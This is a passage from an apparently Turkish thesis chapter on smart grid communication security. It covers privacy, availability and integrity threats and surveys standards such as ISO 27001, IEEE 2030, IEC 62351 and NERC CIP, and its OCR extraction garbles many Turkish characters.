gelecekte yeterince koruma saglamayacaktir. Ornegin NIST 2030 yili itibariyle 3DES

¢Oziimiinlin tamamen giivensiz hale gelecegini belirtmektedir.

Bu nedenle teknolojik gelismelere yapilan yatinm kadar bu teknolojilerin giivenlik
boyutuna da yatirnrm yapilmasi gerektigi unutulmamalidir. Bu se¢imde Onemli olan,
kurumun riskin kabullenme derecesi ve bilginin kritikligidir. Maliyet etkinlik faktorii de

dikkate alinmasi gereken diger bir etkendir.

Kablosuz sebekelerin giivenligi i¢in de IEEE 802.11i [41] ve IEEE 802.16e [42]
standartlar1 kullanilabilmektedir. Farkli kablosuz protokollerin giivenlik diizeyi dereceleri
de degismektedir. Kablolu sebekelerin giivenligi ise, VPN’ler, IPSec teknolojileri ve
glivenlik duvarlariyla saglanmaktadir. Yiiksek katman giivenlik mekanizmalar1 olan

Giivenli Kabuk (Secure Shell-SSH) ve SSL/TSL de kullanilabilmektedir [43].

2.4.1. Gizlilik

Akilli sebeke haberlesme sistemlerinde gizlilik konularini, 6zellikle 6l¢iim cihazlarinda
tutulan kullanicilarin tiiketimine iligkin verilerle birlikte degerlendirmek gereklidir. Ciinkii
s06z konusu tiikketim verilerinin detaylart kullanicilarin davraniglarini tespit etmeye kadar
bircok bilgiye kaynak olabilmektedir. Akilli sebekelerinin haberlesmesinin kullanict
mahremiyeti yoniinden istenmeyen sonuglari mevcuttur. Akilli sayaglarin gelismesiyle
abonelerin elektrik kullanim bilgisi sayaglarda depolanmaktadir. Sayaglarin ele
gecirilmesiyle kullanicilarin tutum ve davraniglart hakkinda bilgiler kotii niyetli kisilerin

eline gegebilecektir [44].
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Sadece altyapilar1 yoOneten veya donanimlar isleten sirketler potansiyel gizlilik
saldirilarmin kaynag: degildir. Ornegin, Google Gii¢ Sayaci1 (PowerMeter) hizmeti akilli
sayaglar tlizerinden gercek zamanli kullanim istatistiklerini almaktadir. Bu hizmete iiye
olan kullanicilar kendilerine 6zel bir web sayfasi iizerinde yerel kullanimlarini
gorebilmektedirler. Ancak kullanicilarin yaninda bu bilgiler {giincii taraf olarak
nitelendirilen kurum ve kuruluslar ile de paylasilmaktadir [45]. Bu verilere yapilacak
islemlerin cezai miieyyidesinin ¢ok diisiikk ya da hi¢ olmadigi dikkate alindiginda soz

konusu verilerin ¢esitli kaynaklar tarafindan kullanmak {izere hedeflenmektedir.

2.4.2. Erisebilirlik (Kullanilabilirlik)

Erisebilirlik yetkisiz personel ya da sistemlerin erisimini engellememesi, dolayisiyla yetkili
kullanicilarin  sisteme ve izin verilen kaynaklari kesintisiz kullanabilmesi olarak
tanimlanabilir. Akilli sebekeler i¢in de, kontrol sistemleri, emniyet sistemleri, operator is
istasyonlari, iiretim sistemleri ve haberlesme sistemleri gibi tiim bilgi teknolojileri
bilesenlerinin haberlesme sistemleri araciligiyla bilesenler arasinda birbiriyle veya ag

disindaki bagka bir birimle haberlesebilmesi olarak tanimlanmaktadir [46].

Erigebilirligi hedef alan zararli saldirilarin en basinda, gecikmeye, tikamaya ve hatta akill
sebeke igerisinde bilgi degisimi ihtiyaci bulunan haberlesme diiglimlerine ag kaynaklarina
bilgi iletimini kesmeyi hedefleyen Servis Reddi (Denial of Service) ve Dagitik Servis
Reddi (Distributed Denial of Service) saldirilar1 gelmektedir. Akilli sebekeler, kritik zaman
gorevleri nedeniyle DoS saldirilarina karsi oldukga hassastir [46-48].

Yetkisiz giris yapan (intruder) saldirganlar, akilli sebekelerde giivenilir aglar yerine sadece
haberlesme kanallarina baglanmalar1 yeterli olabilmektedir. Saldirganlar igin akilli sebeke
haberlesme aglarina ve 6zellikle karistirma saldirilarina hassas olan kablosuz haberlesme
aglarina DoS saldirisi diizenlemeleri olduk¢a kolaydir [49, 50]. Bu nedenle, akilli sebekeler
iizerinde DoS saldirilarinin etkilerine kars1 degerlendirmeler yapmak ve bu tip saldirilara

karsi etkin kars1 onlemler almak oldukc¢a 6nemlidir.

Bu kapsamda alinabilecek oOnlemlerden birisi, sistemi meydana getiren birimlerin
belirlenmesidir. Sonra bu birimlerin birbiri ile olan baglantisinin Sekil 2.1°de gosterildigi

gibi matris (erigebilirlik) seklinde olusturulmasidir. En son birimlerin kurum/kurulus
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yoniinden kritikliklerine ve 6nem derecelerine gore taktik, operatif ve stratejik seviyelere
ayirarak boliimlendirilmesidir. Erisebilirlik matrisi ve seviye bdliimlendirmesinin
olusturulmas1 durumda, risk degerlendirme siirecinin tamamlanmasint miiteakip risk
azaltma siirecinde ilk miidahale edilecek varliklar tespit edilerek, olast bir risk ya da
problem durumunda tepki siiresi kisalacak ve sistemin alacagi hasar en aza
indirilebilecektir [51]. Erisebilirlik matrisi, hata tespiti i¢in 6ncelikli hazirlanmasi gereken
stireglerden birisidir [52]. Yanlig bilesenlerin belirlendigi bir hata matrisi durumunda hata

giderme siireci uzayabilmektedir [53].
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Sekil 2.1. Erisebilirlik matrisi

2.4.3. Biitiinliik

Biitiinliik bilginin yetkisiz kisi veya sistemlerce degistirilmesinin engellenmesidir. Akill
sebeke haberlesme sistemleri i¢in biitiinliik, {iriin tarifeleri, algilayici degerleri veya kontrol
komutlar bilgilerinin degistirilmemesidir. Bu hedef, mesaj enjeksiyonu, mesaj tekrart veya
ag lizerinde mesajlarin geciktirilmesi araciligiyla yapilan degisikliklerin engellenmesini
kapsamaktadir. Biitlinliigiin ihlali, donanimlarin veya daha da kotiisii insanlarin zarar

gormesiyle sonuglanabilecek giivenlik konularina neden olabilmektedir.

Biitiinliige karst yapilan saldirilar erisebilirlie karst yapilan saldirilara kiyasla daha

karmagiktir. Biitlinliik saldirilarinin hedefi, kullanict bilgileri (fiyatlandirma bilgileri ve
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kullanic1 hesap dengesi gibi) olabilecegi gibi, ag faaliyet bilgileri de (voltaj okumalari,
donanim calisma durumu gibi) olabilmektedir. Diger bir ifadeyle, bu tip saldirilar, akilli
sebekelerdeki kritik veri degisimini engellemek icin akilli sebeke haberlesme sistemindeki

orijinal bilgilerin kasten degistirilmesine tesebbiis edebilmektedir.

Enerji iletim yada dagitim sebekelerine karsi yapilan saldirilar 6énemli oranda biitiinliige
yonelik saldirilardir. Y. Liu, P. Ning ve M. Reiter gii¢ sebekesinde siirekli durum
degerlendirmesi yaparak sisteme giden verilerin biitiinliigiinii bozmaya yonelik hatali veri
enjeksiyonu yaparak durum analizi gergeklestirmislerdir. Saldir1 sonrasinda, saldirganin bir
sayact tehlikeye attigin1 ve verilerin biitlinliigi degistirerek izleme merkezine hatali verileri
gonderdigi ve sonugta da Gii¢ Sisteminin ayarlarinin degismesine sebep oldugu

gorilmiistiir [54].

Akilli sebeke haberlesme sistemlerinin giivenligine iliskin temel gereksinimler olan
gizlilik, erisebilirlik ve biitiinliik ile birlikte bulunmas1 gereken diger gereksinimler asagida

Ozetle belirtilmistir.

Kimlik Dogrulama: Haberlesme sistemine dogru katilimcinin (gegerli kullanict ad1), diger
bir ifadeyle sistem tarafindan yetki taninan bir kullanicinin giris yapip yapmadigini tespit
etmektir. Diger gilivenlik hedefleri ise 6zellikle de yetkilendirme, yasal ve yasal olmayan

kullanicilar kimlik dogrulama 6zelligine dayanarak tespit etmektedir.

Inkar Edememe: Inkar edememe, genellikle hesap verebilme ve seffaflik (agiklik)
hedeflerinin kurulmasini saglar. Gonderilen veri veya mesajla ilgili tutulan kayitlar (1og)
sayesinde kimlik, zaman, vb. bilgilerin inkar edilememesidir. Akilli sebeke sistemleri
kapsaminda ise, diizenleme gereksinimleri acisindan en 6nemli hedeflerdendir. Ciinkii bu

giivenlik gereksinimin ihlali genellikle yasal veya ticari sonuglara neden olmaktadir.

Denetlenebilirlik: Ozellikle bir saldir1 gerceklestiginde veya saldirt sonrasinda sistemde

meydana gelen zarar ve degisikliklerin tespitini kapsamaktadir.

Yetkilendirme: Erisim kontrolii olarak da adlandirilmaktadir. izin verilmeyen kullanici ya
da sistemlerin, kaynaklara erisiminin engellenmesini kapsamaktadir. Yetkilendirmenin

hatali yapilmasi ya da ihlal edilmesi giivenlik acikliklarina neden olabilmektedir.
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Ugiincii-Ortak Korumas1: Akilli sebekeler, en alt bilesenlerinin dahil oldugu biitiinsel bir
giivenlik anlayisiyla koruma saglanmalidir. En zayif halka teorisi kapsaminda bir sistem en
zay1f bileseni kadar kuvvetlidir ve o bilesene yapilan saldir1 basar1 kazandig: takdirde
sistemin en kritik bilesenine de erisim saglayabilecegi dikkate alinarak, ozellikle
yetkilendirme ve erisim kontrolii hedefleri saglanarak tiim sistemin giivenligi

saglanmalidir.

Giiven: Gelecegin akilli sebeke haberlesme sistemlerinin tasarimi ¢ok-katmanlt mimariye
dayanmaktadir. Akilli sebeke sistemlerinin gelisimi, bir¢ok farkli programlama dili ve
platformunda gelistirilen yazilim uygulamalariyla calisan oldukga fazla gii¢ sistemlerini
igermesine neden olmustur. Yeni gelistirilen sistemlerle eski uygulamalarin ayni altyapida
bulunmasi da biitiinlesik bir yapir olmasimi engellemektedir. Bu nedenle de, bu kadar
karmasik bir yapiya sahip genis bir sistemin gilivenligini saglamak uyum sorunlar1 da

eklenince oldukga zor olmaktadir.

Akilli sebeke haberlesme sistemlerindeki gelismelere paralel olarak, mutlak ve tek parca
siber glivenlik altyapis1 gegerli bir segenek olmaktan ¢ikmistir. Bunun yerine, ¢ok katmanl
mimari yapisi, gelismis kontrol yontemleri ve giivenilir yazilim altyapisi ile donanim
koruma ve izleme mekanizmalar1 daha gegerli bir ¢oziim olarak goriilmektedir. Bu
ozelliklere ilave olarak, ag mimarisinin sadece belirli boliimlerin giivenli bi¢imde

giincellenmesi yada degisimine imkan saglayan esnek bir yapida olmasi gereklidir [55].

2.5. Akilli Sebeke Haberlesme Giivenliginde Karsilasilan Zorluklar

Akilli sebekeler, gelecegin elektrik, su, dogal gaz, telekomiinikasyon basta olmak {izere
kritik altyap1 aglarinin ihtiyaglarina cevap verebilmek i¢in, birbirinden farkli standart ve
diizenlemelerle bir araya getirilen bilesenlerden olusan bir yapiya sahiptir. Ancak s6z
konusu ihtiyaglara cevap verebilmek icin akilli sebeke haberlesme sistemi siber giivenlik

gereksinimlerinin, mimari gereksinimleri temelinde belirlenmis olmas1 gerekmektedir.

Giivenli bir akilli sebeke haberlesme sisteminde karsilasilan en 6nemli zorluk, aglar arasi
caligmay1, gilivenlik politikalarim1  ve islemlerini, giivenlik servislerini, etkinligi,
Olceklenebilirligi ve ticari aglar ile akilli sebeke ag giivenligi arasindaki farkliliklarin

belirlenmesini kapsamaktadir.
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2.5.1. Aglar arasi birlikte cahisabilirlik

Birbirine baglh akilli sebeke haberlesme sistemleri bir¢ok uygulama veya donanimdaki
giivenlik eksiklikleri nedeniyle olusan agikliklara karst hassas durumdadir. Akill
sebekelerin siber savunma katmanlar1 kesintilere, duraklamaya, istenmeyen degisikliklere

ve sahtecilige kars1 koruma saglamasi gerekmektedir.

Etkinlik, maliyet tasarrufu ve genis bilgi sistemlerine entegrasyon gibi sebeplerle, akill
sebekeler artik ayr1 haberlesme agini kullanmamaktadirlar. Bunun yerine, kurumun diger
birimleriyle bilgilerin paylasildig1 ortak bir aga hatta internete baghdirlar. Bu degisiklik
akilli sebeke haberlesme sistemlerinin risk profilinde farkliliklara ve Internetin genel
problemleri ve tehditlerine maruz kalmalarina neden olmustur. Sonugta da, genellikle ticari
amacl kullanilan Internete baglantili olan akilli sebekeler gii¢ kaynaklarmin kesintisine
neden olan bir¢ok saldiriya agik durumdadir [44, 45]. Giivenlik tehdit seviyelerindeki bu
artis, giivenli ve sorunsuz bir akilli sebeke haberlesme sistemini temin etmek i¢in daha
zorlu bir yonetim ihtiyacim1 ortaya cikarmistir. Bu nedenle, akilli sebeke aglarindan
Internete yapilan baglantilarin tamamu yiiksek giivenlikli olmalidir. Ayrica saldir1 tespit
sistemlerine sadece akilli sebekelerin Internete ¢ikis noktalarinda degil ayn1 zamanda ag

igerisindeki kritik noktalarda ve hassas kablosuz arayiizlerde ihtiyag¢ vardir [56].

Akilli sebeke sistemlerinin izole olmamasi nedeniyle siber saldir1 ihtimali her zaman
mevcuttur. Sayisal verilerle uzaktan erisimin avantajlar1 yaninda birgok riskleri de vardir.
Olusabilecek agikliklari en aza indirebilmek i¢in, akilli sebekelerin haberlesme
sistemlerinin siirekli izlenmesi, verilerin incelenmesi gerekli analizlerin yapilmasi
gerekmektedir [57-59].

Bir sistemin veya donanimin kritikligi saldirilarla karst karsiya kalma egilimini
belirlemektedir. Siber saldirilar incelendiginde de 6zel aglarin bu tip saldirilarla daha az

karsilastigi goriilmektedir [60].

2.5.2. Akilh sebeke haberlesme giivenlik politikasi

Bir akilli sebekede giivenirlik sebekeyi meydana getiren bilesenlerin faaliyetlerine ve

aradaki iletisime baghdir [61]. Bir akilli sebekenin iletisimini engellemek i¢in, saldirganlar
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ortamdaki agikliklar1 kullanarak sistem bilesenlerine ve 6zellikle de yonetim birimlerine
erigir. Eristigi sistem bilesenlerini baska bir cihaz gibi yapilandirabilir ve bu sayede
sisteme zarar verebilecek veya yanlis bilgiler gondererek sistemi ¢alismaz hale getirebilir.
Akilli sebekelere yapilan en basit saldir tiirlerinden biriside, saldirganlarin ele gegirdikleri
cihazin sistem kaynaklarimi asirt kullanmasini saglayarak, diger bilesenler tarafindan
kaynaklarin kullanilmasin1 engelleyen DoS saldirisidir. Ciinkii son zamanlarda Internet
hizmetlerinin kullanilabilirligine kars1 en Onemli tehditlerden birisi DoS ve DDoS
saldirilaridir. Ornegin 2009 yilinda DDoS saldirt miktar1 % 20 artmustir ve buna paralel
olarak da Internet Servis Saglayicilarinin (Internet Service Provider-ISP) ve miisterilerinin
ilk problemi kole bilgisayar agi tabanli DDoS saldirilari haline gelmistir [62]. DDoS
saldirilar1 yapist itibari ile kurbanlar tarafindan fark edilebilen saldirilardandir. Her ne
kadar farkedebilir saldirilardan olsalarda 6nemli olan saldirilarin hizmetlerin kullanimini
engellenmeden en kisa siirede farkedilmesidir veya tagskin etkisi olusmadan farkedilip

onlenmesidir [63].

Uluslararas1 kuruluslar da dahil olmak iizere giin gegtikce sayisi artan sekilde bircok
kurum, akilli sebekelerde yer almaktadir. Bu artisa paralel olarak, dagitik yapt halinde
bulunan akilli sebeke haberlesme sistemine uzaktan erismek isteyen donanim ve kisilerin
sayis1 da artacaktir. Bunun neticesinde birlesik varlik yonetime ihtiya¢ duyulmaktadir. Bu
yapida bulunan bir yonetimin giivenligine yonelik ¢esitli ¢oziim Onerileri bulunmaktadir.
Bunlar arasinda, SAML (Security Assertion Markup Language- Giivenlik Onaylama
Isaretleme Dili) [64], Giivenli Web Servisleri (WS-Trust) [65] ve PKI [66] ¢oziimleri
bulunmaktadir. Sadece saticilarin sundugu teknik ¢oziimler yeterli olmamakta, bununla
birlikte kuruluslarin bu ¢ozliimlerle tutarli giivenlik politikalart olusturmas: da
gerekmektedir. Kurum ve kuruluslar gilivenlik politikalarint  ve uygulamalarim
olustururlarken dikkat edilmesi gereken konulardan birisi de birlikte calisabilirliktir.
Birlikte calisabilirligin saglanmasi i¢in yapilacak ¢6ziim Onerilerinden birisi endiistriyel

standartlarin kullanilmasi ya da yeni standartlarinin olusturulmasidir [67].

2.5.3. Giivenlik servisleri

Akilli sebekelerin giivenlik ¢oziimlerinin gelistirilmesi, kurulmasi ve biitiinlestirilmesi

kadar, yonetilmesi ve idame ettirilmesi de dnemlidir. Giivenlik servisleri, ag isletmenlerine
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akilli sebeke haberlesme sistemindeki giivenlik risklerinin tanimlanmasinda, kontrol

edilmesinde ve yonetilmesinde 6nemli bir yardimeidir.

EPRI’ye gore, akilli sebekelerin tiim boyutlarinin giivenli olmasi1 gerekmektedir [33]. Bu
nedenle, siber giivenlik teknolojileri, giivenlik politikalari, risk degerlendirmeleri ve en
onemli boyutlardan birisi olan egitim ve farkindalik olmadan tam anlamiyla bir giivenlik
saglanamaz. Clinkii giivenlik acikliklari, yapilan ¢aligmalarda da goriilmektedir ki en ¢ok
insan faktoriine bagl olarak ortaya ¢ikmaktadir [68]. Sistem basindaki insanin agilmasi ile
antivirlis yazilimlari, saldirilart rapor eden sistemlerin asilmasi veya giivenlik duvarlarinin
asilmas1 cok daha kolay olmaktadir. Ciinkii tiim teknolojik diizenlemeler ve giivenlik
politikalar1 gelistirilse ve belirlense bile farkindalig1 eksik kullanicilar bu teknik
¢coziimlerin tamamini etkisiz hale getirecektir [69]. Bilgi giivenligi acikliklar1 tam olarak
hicbir zaman tam olarak yok edilememekle beraber, ¢alisanlarda bilisim giivenligi
farkindaliginin gelistirilmesi ve bu farkindaligin davranisa donistiiriilmesi sayesinde kabul
edilebilir bir diizeye indirilebilir [70]. Akill1 Sebekeye ait Giivenlik Servisleri genel olarak
Sekli-2.2.’de belirtilmistir.

B N - - . - g
. Giivenlik Degerlendirmesi -
. s

.

Giivenlik Tasarim

Olaylara
Miidahale -
Uygulamalari
i Teknoloji
Giivenlik Politika

Yoénetimi Risk Yénetimi

Giivenlik Politikasi

Sekil 2.2. Akilli sebeke giivenlik servisleri [68]
2.5.4. Etkinlik ve ol¢eklenebilirlik

Akilli sebekeler gibi kritik sistemlerde, sistem erisebilirligi (kullanilabilirlik) yiiksek
oncelikli gereksinimlerdendir. Bu sebeple, bazi anahtar ozelliklere sahip olunmasi
gerekmektedir. Bunlardan ilki, haberlesme kaynaklarinin etkin kullanimidir. Bu sayede
tiim kullanici isteklerine cevap verilebilecek dengeli bir politika izlenebilecektir. ikincisi,

iyi bir hata ydnetim sistemine sahip olunmasidir. Ugiinciisii, yeterli yedekleme sistemlerine
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sahip olunarak, tiim sistemin c¢okmesinin engellenmesi ya da sistemlerin ¢okmesi
durumunda en kisa siirede faal hale getirilmesidir. Dordiinciisii ise; siber saldirilar tespit

edip, cevap verebilecek yedekli giivenlik fonksiyonlarini desteklemesidir [61].
2.6. Uluslararasi Akilh Sebekelerle Tlgili Giivenlik Standartlar

ABD Ulusal standart ve teknoloji kurulusunun (NIST) yaptig1 tanima gore akilli sebeke
terimi, elektrik iletim sistemlerinin modernizasyonuna karsilik gelmektedir Bu yiizden
birbirine bagli unsurlarinin ¢alismasini otomatik olarak optimize eder, izler ve olumsuz
durumlara karst korur. Bu tanimda, akilli sebekeler gilinlimiiziin gii¢ sistemlerinden
gelecegin bilgi ve iletisim teknolojilerine dayali gilic sistemlerine gecis olarak
tanimlanmistir. Avrupa Teknoloji Platformu (ETP)’nun tanimina gére de akilli sebeke, ona
bagl olan tiim kullanicilarin islemlerini sistem dahil eden, bu sayede devamli, ekonomik
ve giivenli elektrik kaynaklar1 saglayan bir elektrik agidir. Bu tanimda ise akilli sebeke
hedeflenen bir elektrik mimarisidir. Sonug¢ olarak NIST yonteme vurgu yaparken, ETP ise
hedefi tanimlar. Cesitli uluslararas1 kuruluslar akilli sebekelerin kullanildig1 sektore ve
kritiklik durumlarina gore akilli sebekeye yonelik tanimlar, oncelikler, gereksinimler,
hedefler ve ilkeler belirlemisler [38]. Ozellikle elektrik altyapilarinda sistemin diizgiin
caligmasi, bilginin korunmasi, saldirilara kars1 korunma yontemleri gibi konular diizenlemek
amaciyla cesitli kuruluslarca olusturulan bazi giivenlik standartlar1 vardir. Bu standartlar;
giris kontrolii, giivenlik duvarlari, saldir1 tespit sistemleri, protokol aciklik analizi, kriptografi
ve anahtar yonetimi, cihazlar ve isletim sistemleri giivenligi ile giivenlik yonetimi konularini

diizenler. Standart olusturan kuruluslardan bazilar sunlardir [71, 72] ;

 |IEEE (Institute of Electrical and Electronic Engineers- Elektrik Elektronik
Miihendisleri Kurumu)

« NIST (National Institute of Standards and Technology- Ulusal Standartlar ve Teknoloji
Kurumu)

» CSD (Computer Security Division- Bilgisayar Giivenligi Baskanligi)

* CSRC (Computer Security Resource Center- Bilgisayar Giivenligi Kaynaklart Merkezi)

» ISO/IEC (Organization for Standardization/International Electrotechnical Comission)

* NERC (The North American Electric Reliability Corporation-Kuzey Amerika Elektrik
Giivenilirlik Sirketi)
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* FERC (The Federal Energy Regulatory Commission-Federal Enerji Diizenleme
Komisyonu)

» CPNI (Centre for the Protection of National Infrastructure- Ulusal Altyapilar1 Koruma
Merkezi)

* ISA (Instrumentation, Systems, and Automation Society-Enstriimantasyon, Sistemler
ve Otomasyon Kurulusu)

» EPRI (Electric Power Research Institute —Elektrik Gii¢ Arastirma Kurumu)

Yukarida belirtilen kuruluslar tarafindan olusturulan ve uluslararasi alanda gegerliligi olan

akilli sebekelere yonelik standartlar hakkinda asagida kisaca bilgi verilmistir.

2.6.1. ISO 27000 serisi

ISO 27001 standardi, yasayan bir bilgi giivenligi kapsaminda gerceklestirilmesi gereken
islevleri tanimlar. ISO 27001 standardi kurumlarin bilgi giivenligi yonetim sistemi (BGYS)
kurmalar1 igin ihtiyaglar1 tanmimlayan tek denetlenebilir BGYS standardidir [73]. 2005
yilinda yayinlanan ISO 27001:2005 Bilgi Glivenligi Yonetim Sistemi (BGYS) standardi
veya kisa ifadesiyle ISO 27001, 1998 yilinda BSI (British Standartds Institute) tarafindan
yayinlanan BS-7799-2 standardinin ISO tarafindan kabul edilmis ve yenilenmis seklidir.
BSI tarafindan yaymlanan BS 7799-1 ise ISO tarafindan kabul edilmis ve ISO/IEC
27002:2005 olarak yaymlanmistir. Temmuz 2007 tarihine kadar ISO/IEC 27002 standardi
ISO/IEC 17799:2005 olarak adlandirilmistir. ISO/IEC 27001, BGYS igin sart olan
gereksinimleri tanimlarken, ISO/IEC 27002 ise, bir sertifikalandirma standardindan ziyade
BGYS icin uygulama esaslarini sunar. Ancak organizasyonlar diger bilgi giivenligi
denetim takimlarini da se¢mekte 6zgiirdiirler. ISO/IEC 27001, giris boliimleri diginda 12

ana boliimden olusmaktadir. Bunlar;

Risk yonetimi: Risk degerlendirme, risk analizi, riski azaltma.

Insan kaynaklar giivenligi: Sistem ¢alisanlarinin egitilerek bilgi kayb1, dolandiricilik veya
kaynaklarin kotiiye kullanilma riskini azaltmak. Sistem erisimi ydnetimi, giivenlik

farkindaligi, egitim ve dgretim.
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Giivenlik politikasi: Bilgi Giivenligi i¢in gelistirilen prensipler ve aksiyomlar, politikalar,

standartlar, rehberler ve prosediirler.

Bilgi gilivenliginin organizasyonu: Bilgi giivenliginin esgiidimii ve idamesi icin bir

yonetim ¢er¢evesinin gelistirilmesi. Yapi, raporlama, irtibat.

Fiziki giivenlik ve c¢evre giivenligi: Sistemdeki bilgi islem olanaklarina yetkisiz erigimi
onlemek ve bilgilerin kaybolmasini veya calinmasini engellemek. Fiziki erisim;

havalandirma; yangin / su baskini; enerji / gii¢c kaynaklari.

Iletisim ve operasyon yonetimi: Sistemin uygun ve giivenli kullanimini saglamak ve Kritik
olaylara kars1 miidahale planlar1 gelistirerek riskleri azaltmak. Arsivleme, yedekleme,

loglama, yamalama, izleme, yapilandirma.

Varlik yonetimi: Tiim kritik ve hassas varliklar i¢in uygun bir koruma diizeyi belirlemek.

Envanter, siniflandirma, sahiplik.

Erisim denetimi: Yetkisiz erisimleri tespit etmek ve ag sistemlerinin korunmasi i¢in gerekli
kontrol faaliyetlerini saglamak. Fiziki erisim, ag erisimi, sistem erisimi, uygulama erigimi,

fonksiyon calistirma ( NAC) .

Bilgi sistemleri edinimi, gelistirme ve bakimi: Isletim sistemlerini ve uygulama
yazilimlarin1 bilgi kaybina karsi giincellemek ve kayiplar1 engellemek. Gereksinim,

tasarim; gelistirme/edinim, test, uygulama, bakim ve destek (DLP).

Bilgi giivenligi ihlali olay yonetimi: Etkin bir bilgi giivenligi saglamak icin olaylar
zamaninda tespit etmek ve gerekli Onlemleri almak. Hazirlik, tanimlama, reaksiyon,

yonetim ve icerik, ¢6ziim, 6grenme.

Is siirekliligi yonetimi: Dogal afetler, olasi arizalar, kritik olaylardan kaynaklanan
kesintilere karsi hizli miidahale icin kapasite artirma faaliyetleri gergeklestirmek.

Direnclilik, afet yedekleme/kurtarma.
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Uyumluluk: Mevcut giivenlik politikalarinin tiim yasalara ve yonetmeliklere uygun
oldugundan ve st yoOnetim onaymdan gegtiginden emin olmak. Denetim, yasa ve

diizenlemeler, giivenlik politikalari-standartlar1 ve teknik uyumluluk [71, 74].

2.6.2. NIST SP 1108, sistem ve akill sebeke birlikte ¢alisabilirlik yol haritasi

Standart, NIST FERC’in akilli sebekeler igin belirledigi 6ncellikler tizerinden baglamistir

ve kendisinin belirledigi konular1 eklemistir. Belirlenen 8 6ncelik agsagidadir:

 Taleplerin karsilanmasi ve tiiketici enerji yeterliligi
* Genis-alan uygulama farkindaligi

* Enerji depolama

» Elektrik tasimasi

o Tleri seviye 6lgme altyapisi

» Dagitim sebekesi yonetimi

» Siber giivenlik

* Ag iletisimi

Enerji Bagimsizlik ve Giivenlik Antlagsmasiin (EISA - 2007) gereklerini yerine getirmek
ve akilli sebekelerin kurulumunda baslangigta gerekli olan standartlar1 belirlemek igin

NIST 3 sathali bir plan 6nermistir.

* Acik siliregte uygulanabilir standartlar1 ve gereklilikleri, mevcut standartlardaki
bosluklar1 ve dncelikleri belirlemek i¢in paydaslarla mesgul olmak,

* Uzun donem ¢alisabilirligi saglamak igin akilli sebekelerin karsilikli kullanilabilirligini
olusturmak,

» Uyum testi ve sertifikasyonu i¢in bir gergeve gelistirmek ve uygulamak [75].

2.6.3. IEEE standardi 2030 serisi

IEEE Standard 2030-2011, elektrik giic sistemleri ile bilgi teknolojileri ve enerji
teknolojilerinin birlikte kullanilabildigi akilli sebekeler i¢in bir rehber saglar. Akilh
sebekelerde IEEE standartlarini iceren birlestirilmis ilk kapsamli uygulamadir. 2030

standardini tamamlayici ilave 3 standart bulunmaktadir.
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« IEEE P2030.1, Elektrik Kaynakli Tagima Altyapilar1 i¢in Rehber

« IEEE P2030.2, Elektrik Gii¢ Altyapilarina Entegre Edilmis Enerji Depolama
Sistemlerinin Birlikte Kullanilabilirligi Hakkinda Rehber

« |EEE P2030.3, Elektrik Enerji Depolama Ekipmanlar1 ve Sistemleri igin Test
Prosediirleri Rehberi [76].

2.6.4. ISO/IEC 15408 standardi

Ortak kriter (Common Criteria-CC), bilgi teknolojisi tiriinleri i¢in uluslararasi ¢apta kabul
goren bilgi giivenligi degerlendirme kriteridir. Bilgi glivenligi degerlendirme kriterleri
olarak kabul edilen Avrupa’daki ITSEC, ABD’deki TCSEC ve Kanada’daki CTCPEC nin
(Canadian Trusted Computer Product Evaluation Criteria) birlestirilmesi sonucu

olusturulmustur. CC, ISO/IEC 15408 standardinda tanimlanmaktadir.

CC Bolim 1 (Standarda Girig): CC temel giivenlik degerlendirmelerini verir.

CC Béliim 2 (Giivenlik Fonksiyonel Ihtiyaglari Katalogu): Bir iiriiniin sagladigin1 iddia
ettigi giivenlik fonksiyonlarini standart bir yolla ifade etmede kullanilabilecek “sinif”,

“aile” ve “bilesenler” i igerir.

CC Béliim 3 (Giivenlik Garanti Ihtiyaglari Katalogu): Bir iiriiniin giivenlik 6zelliklerini
nasil garanti ettigini standart bir yolla ifade etmede kullanilabilecek “simif”, “aile” ve

“bilesenler” i igerir. Ayrica EAL (Evluation Assurance Level) seviyelerini tanimlar [71].

2.6.5. ISO/IEC 62351

Enerji sistemleri yonetimi ve bilgi paylasimi igin veri ve iletisim giivenligi konularin
kapsar. Iletisim protokolleri ile ag ve isletim sistemlerini ele alir [77]. Uluslararas:
Elektroteknik Komisyonunun (IEC), TCP/IP protokolii de dahil gii¢ sistemleri denetiminde
kullanilan iletisim sistemlerine ait veri aktarim giivenligini saglamaya yonelik bir standart
calismasidir. Bu standartta ait dokiimanlarda agikliklarin giderilmesine yonelik sunulan

yontemlerin teknik ayrintilar1 yer almaktadir [74]. Standart asagidaki boliimleri igerir:

*  QGiris
»  Sozlik
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» TCP/IP igeren profiller i¢in giivenlik

*  MMS igeren profiller i¢in giivenlik

« |EC 60870-5 ve tiirevleri (DNP) i¢in giivenlik
+ [EC 61850 profilleri i¢in glivenlik

» Ag giivenligi i¢in unsurlar (hedefler) [78].

2.6.6. NERC Kkritik altyapi koruma

NERC, ilk olarak 2003 yilinda Acil Aksiyon Standardi olan “1200 Siber Giivenlik”
belgesini yaymlamig ve miiteakiben NERC 1300 ¢alismasini baslatmistir. Bu ¢alismalarin
ardindan 2006 ve sonrasinda NERC, kritik altyapilarin korunmasina yonelik daha kapsamli
olan CIP 002-1 ile CIP 009-2 galismalarimi1 yaymlamistir. NERC 1200, iletim ve dagitim
birimlerini kapsayan ¢alismalar iken, CIP 002-1 ile CIP 009-2 serisindeki ¢aligmalar tiretim
tesislerini de igerecek sekilde genisletilmistir. ABD Federal Enerji Diizenleme Komisyonu
(FERC) tarafindan 2006 yilinda NERC CIP standartlarinin onaylanmasinin ardindan, CIP

standartlarina uyumluluk enerji sektorii i¢in yiikiimliiliik haline gelmistir [74].

2.6.7. NERC 1200 standardx

FERC, DOE ve DHS tarafindan enerji sektorii koordinatorii olarak taninan NERC
tarafindan Acil Siber Miidahale Standardi adiyla gelistirilmistir. Risklerin azaltilmasi igin
giivenlik gereksinimlerinin enerji sektoriinde kurulmasini saglar. Taslak asamasinda olan
1300 standardinin bu standardin yerine ge¢mesi beklenmektedir. NERC standartlar1 ve
prosediirleri tanimlama ve sertifikasyon igin gelistirir. Bunlar tamamlandiginda bu
standartlar belirtilen faaliyetleri yapan varliklara (kontrol bdlgeleri, iletim sirketleri
sahipleri ve operatorleri, tiretim sirketleri sahipleri ve oOperatorleri  gibi)

uygulanabilmektedir [78].

2.6.8. NERC 1300 standardx

Bir CIP standardi olan NERC 1300’iin amaci, kritik altyapr olarak degerlendirilen
altyapilara karsin olusabilecek riskleri azaltmaktir. Dokiiman, asagida belirtilen ana

bagliklar altinda kritik konularda kapsamli bilgiler igerir.

* 1301 Giivenlik Yonetimi Konulari
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+ 1302 Kiritik Siber Varliklar

